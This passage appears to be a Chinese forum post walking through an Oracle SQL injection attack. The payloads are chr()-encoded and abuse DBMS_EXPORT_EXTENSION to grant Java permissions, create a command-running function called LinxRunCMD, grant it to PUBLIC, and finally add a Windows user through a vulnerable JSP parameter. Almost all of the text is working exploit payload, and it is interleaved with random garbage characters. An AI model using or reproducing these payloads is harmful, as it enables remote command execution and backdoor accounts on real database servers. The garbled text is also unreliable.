chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||0 ?2 {9 P, |7 _' L9 ^# b- s# `
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||' D( x/ D( ~+ J) d
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
2 R: p4 h' f4 Q5 _+ q1 W* V7 U,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
" W3 |( q% W4 \) I  y
! [! W3 |/ _8 {- E# X- T)0 c# X/ L. p/ K

) t$ V8 Q# i3 k. d------------------------------, e$ B$ [, E2 V( r  _0 W

% p* O- T- {* s8 }8 g( {1 m2.赋Java权限( @; o1 H7 N+ `2 x& z& `
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
& F3 d1 O' V' R& H* k  j
5 u0 n0 W6 Z2 _3 Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, j; k. W; k1 H3 q' Echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
" f; D& h" S) `. E' p+ h) q1 x5 wchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
& R& t# c  J) h7 I  K6 y8 m. Lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||* m  z$ `0 [9 o# F1 v7 e7 x
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||7 C7 ~9 p3 C  y# o" l" A; e
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||+ y$ |4 i; Y2 {! V0 X, ]
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||1 j) s$ _  l& m! J
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
) Z- T" L  g9 f. ]chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||' B! e6 S+ g3 |# k% v
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
0 n# j/ [3 P' Z2 {6 r,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 \' U  G& h5 u8 g* k
0 @7 q3 P. y( K( y. c( g2 C)
; z. i. M2 R/ H8 O5 j
( I) J8 h  Y7 x- |  ~0 O7 Xreadfile函数的ascii版就不写了,见谅。
% J$ D1 ^. j) E. n
- p" L9 n  h$ e9 o/ I* A% A: r: z; L3.创建函数, @) l& V- k) S: w, m

& \) h- F. j% ?$ rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 P" @& e" D- Qchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
+ \( ?' Y0 `& Cchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: [& N+ ~1 n( i+ ^$ J  ~! b; a
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||  x4 u7 w! p# I1 n( v5 ^  `
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
' }  H, x. K& K- ]+ @* lchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||0 B) }+ c& w. ~, f$ `, O* [9 J
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
& |$ Z  I6 v' j, v% v& ^" u' Bchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
7 D5 z! {# G: Z4 I( {# o) _chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
& l1 R* k( X( c. Xchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||4 F4 p( f& T. Q. l
chr(59)||chr(45)||chr(45)3 D% }& ^3 ~/ r  v
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual% q) _) y& u& f% k! d% ]9 e2 X
7 e6 K5 }' b3 P. [

! [; o9 f& S; v; U: G& r
3 c9 d: \7 M) i( e9 i4.赋public执行函数的权限" c* L2 r' \4 E9 o8 i, y( B9 s
7 Y, O' b" x* J4 Z8 F* M$ u+ A/ t8 s# t3 \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; J% d6 B; k9 _+ `/ |chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||0 M" S# E& U) d! B! l- R. X# \4 X) S
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: x4 a$ l0 U) q( y& z0 u
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||9 h) f! V2 c2 l6 N
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||9 t3 P; \* ~2 t- u7 H  o
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||3 m3 }* ^' S4 h3 I$ z7 _
chr(59)||chr(45)||chr(45)8 T; g1 |$ e8 y+ A' A* n
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
; k- T; o) c' f' n; X9 n4 y" [( c" z, {$ d

9 k! s# P" J4 t) N* f
) F) ]" i5 m8 t1 z9 h5.执行命令:1 D& @. V: S! S: `1 X! h5 f, K
3 }3 s# ~/ l5 ?: ?4 |$ U# H
/xxx.jsp?id=1 and chr(49)<>chr(32)||(" _7 {; x$ ?8 V7 m3 O% w- v0 x
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
/ s6 C: w" E8 ?8 p)! R" Z6 c. `( d2 b

4 G5 [( a% j/ N& V5 `1 K
; Y! n2 Y* {% I& s- @3 y" h/xxx.jsp?id=1 and chr(49)<>chr(32)||(2 [2 f: ^, w( F) X- N* T0 }* R8 M
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
$ h( v5 f8 D+ }0 P)/ l/ N( t8 z/ A8 ^





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